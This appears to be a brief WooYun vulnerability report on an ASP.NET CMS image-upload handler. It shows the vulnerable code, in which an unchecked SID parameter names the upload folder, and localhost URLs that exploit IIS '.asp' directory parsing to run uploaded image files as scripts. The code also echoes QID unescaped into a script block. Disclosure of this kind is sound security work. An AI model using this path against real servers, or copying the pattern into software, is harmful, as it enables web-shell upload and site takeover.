WooYun.org

http://127.0.0.1/Plugins/ckfinder/ckfinder.html

http://127.0.0.1/UploadFiles/files/1.asp/3.GIF

http://127.0.0.1/plugins/imageupload.aspx

protected void btnUpload_Click(object sender, EventArgs e)
{
    string str = "";
    string str2 = Path.GetExtension(this.fup_Image.FileName).ToLower();
    if (!this.CheckFilePostfix(str2.Replace(".", ""))) //上传文件类型白名单可以自己设置
    {
        this.ReturnManage("上传的附件不是符合扩展名" + base.Request["Ext"] + "的文件");
    }
    else
    {
        string path = base.Server.MapPath("~/UploadFiles/Images/S" + base.Request.QueryString["SID"]); //可创建文件夹自己可控制
        if (!Directory.Exists(path))
        {
            Directory.CreateDirectory(path);
        }
        string str4 = DateTime.Now.ToString("yyyyMM");
        string str5 = DataSecurity.MakeFileRndName();
        str = str4 + str5 + str2;
        string filename = path + @"\" + str;
        this.fup_Image.PostedFile.SaveAs(filename);
        (this.Page.FindControl("span_Error") as HtmlGenericControl).Style["display"] = "block";
        string s = string.Format("<script>parent.document.getElementById('hdPath_'+ {0}).value='/UploadFiles/Images/{1}/{2}';parent.document.getElementById('img_'+ {0}).src='/UploadFiles/Images/{1}/{2}';</script>", base.Request.QueryString["QID"], "S" + base.Request.QueryString["SID"], str);
        base.Response.Write(s);
    }
}

http://127.0.0.1/plugins/imageupload.aspx?SID=2.ASP&Ext=jpg